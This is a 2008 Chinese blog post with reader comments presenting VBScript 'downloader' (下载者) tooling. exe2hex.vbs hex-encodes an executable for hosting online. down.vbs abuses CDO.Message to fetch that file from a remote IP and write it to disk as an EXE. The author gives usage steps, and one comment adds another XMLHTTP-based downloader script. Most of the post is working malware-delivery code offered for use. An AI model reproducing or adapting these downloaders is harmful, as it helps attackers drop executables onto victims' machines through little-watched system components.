百度空间 | 百度首页 
               
 
查看文章
 
新的VBS下载方法
2008-08-14 17:45

好久没更新了,称此机会,更新下

LCX大哥在写他的BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。

于是研究了一会。写出个粗糙的DEMO。

exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制

================================================

'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number<>0 then
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)

File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function

======================================

下载者 down.vbs

=============

on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with

==================================

demo.htm内容时用exe2hex.vbs转EXE后获得的

使用方法:

1.exe2hex.vbs 把exe转成十六进制,放到网络上

2.down.vbs http://xxx/demo.htm c:\good.exe


类别:默认分类 | 添加到搜藏 | 浏览() | 评论 (7)
 
最近读者:
 
网友评论:
1
2008-08-14 18:24 | 回复
子曰:“牛人啊”
 
2
2008-08-14 20:05 | 回复
孟曰:Ri TT... ^_^
 
3
2008-08-18 12:56 | 回复
党曰:感谢你的贡献,为中国的四个现代化作出了应有的义务
 
4
2008-08-20 00:23 | 回复
神曰:oh my god
 
5
2008-12-25 11:31 | 回复
有一个脚本,可以直接使用比较方便,在cmd下,down.vbs http://127.0.0.1/pro.exe c:\prodown.exe. 附down.vbs的代码: with wscript:if .arguments.count<2 then .quit:end if set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") web.open "get",.arguments(0),0:web.send:if web.status>200 then .echo "Error:"+web.status:.quit aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with
 
6
2008-12-30 12:58 | 回复
呵呵,LS,在某些时候,我们需要新的方法来下载东西的
 
7
2009-02-21 10:11 | 回复
我这里也有一个有下载功能的VBS,要简洁点,你看下
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu